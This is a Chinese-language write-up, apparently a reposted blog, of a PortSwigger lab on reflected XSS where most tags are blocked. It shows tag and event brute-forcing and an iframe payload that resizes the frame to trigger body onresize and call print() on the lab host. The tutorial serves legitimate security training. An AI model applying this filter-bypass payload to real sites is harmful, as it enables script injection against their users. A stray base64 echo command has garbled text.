当前位置: 首页 > news >正文

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截

我们需要把全部可用的 tag 和 event 进行暴力破解

XSS cheat sheet:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

通过爆破发现body可以用

再把全部 events 放进去爆破

这些 event 全部可用

<body onresize="alert('XSS')">调整窗口大小触发

lab 要求我们使用 print()函数,并且在不需要用户交互的情况下自动触发 print().

这里可以用iframe标签在页面插入一个区域加载漏洞页面,并且通过 onload属性加载一个窗口值从而触发 print()

<iframe src="https://0a3e00370363938e800efd60009e0017.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E" onload=this.style.width='100px'>

<iframe> 加载完成后,onload 事件触发,修改其宽度为 100px。
由于 <iframe> 尺寸变化,其内部文档的 body 也会触发 resize 事件。
最终执行 print(),弹出打印对话框。

后续敬请关注

echo "QuermeinhumikTogaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMU1xVDR6dEU0Uy8/
dmRfc291cmNlPTMwZTg4MWZjNjFiMmRhYWMwNWZhYWQ3ZGZmMDIyMzFmCg=="|base64 -d

相关文章:

  • 2025年渗透测试面试题总结-ali 春招内推电话1面(题目+回答)
  • RKNN3588上部署 RTDETRV2
  • 全球IP归属地查询接口如何用C#进行调用?
  • 使用SSH tunnel访问内网的MySQL
  • 【JS进阶】ES5 实现继承的几种方式
  • python项目如何创建docker环境
  • OpenCV 图像像素的逻辑操作
  • React Hooks 指南:何时使用 useEffect ?
  • OPenCV CUDA模块目标检测----- HOG 特征提取和目标检测类cv::cuda::HOG
  • 阿里云域名怎么绑定
  • 概述侧边导航的作用与价值
  • 结合Jenkins、Docker和Kubernetes等主流工具,部署Spring Boot自动化实战指南
  • 06.最长连续序列
  • (头歌作业)-6.5 幻方(project)
  • Web后端基础(Maven基础)
  • 8.axios Http网络请求库(1)
  • 源码编译 Cas Server 4/5/6/7
  • 无人机军用与民用技术对比分析
  • App使用webview套壳引入h5(三)——解决打包为app后在安卓机可物理返回但是在苹果手机无法测滑返回的问题
  • Uniapp 二维码生成与解析完整教程
  • 云南做网站报价/国际军事新闻最新消息
  • 香港股市的做空网站/信息流优化师简历怎么写
  • 上海公司买房最新政策2021/seo优化的价格
  • 上海建设网站找哪家/关键词优化排名软件
  • 易语言对做网站有什么帮助/网站如何被百度快速收录
  • 地方电商网站/企业网站制作要求